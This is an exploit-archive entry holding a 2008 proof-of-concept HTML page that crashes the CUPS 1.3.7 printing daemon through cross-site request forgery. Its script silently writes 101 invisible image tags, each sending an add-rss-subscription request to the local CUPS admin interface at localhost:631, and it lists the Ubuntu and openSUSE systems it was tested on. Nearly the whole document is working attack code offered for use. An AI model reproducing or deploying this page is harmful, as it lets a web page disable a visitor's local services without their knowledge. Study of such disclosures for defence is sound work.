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# Title : CUPS 1.3.7 CSRF (add rss subscription) Remote Crash Exploit
# Published : 2008-11-18
# Author : Adrian "pagvac" Pastor
# Previous Title : BitDefender (module pdf.xmd) Infinite Loop Denial of Service PoC
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<!-- cat cups_dos_poc.html  -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
// causes CUPS daemon to crash
// by Adrian 'pagvac' Pastor | GNUCITIZEN.org

for(var i=1;i<=101;++i) {
    document.write("<img width=0 height=0 " +
        "src="http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
        i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20">");
}

/*
TESTED ON:

Ubuntu 8.04.1 (fully patched as of 19th Oct 2008)
Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686 GNU/Linux

openSUSE 11.0 (i586)
Linux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 i686 i686 i386 GNU/Linux

Common UNIX Printing System 1.3.7
*/
</script>

# www.Syue.com [2008-11-18]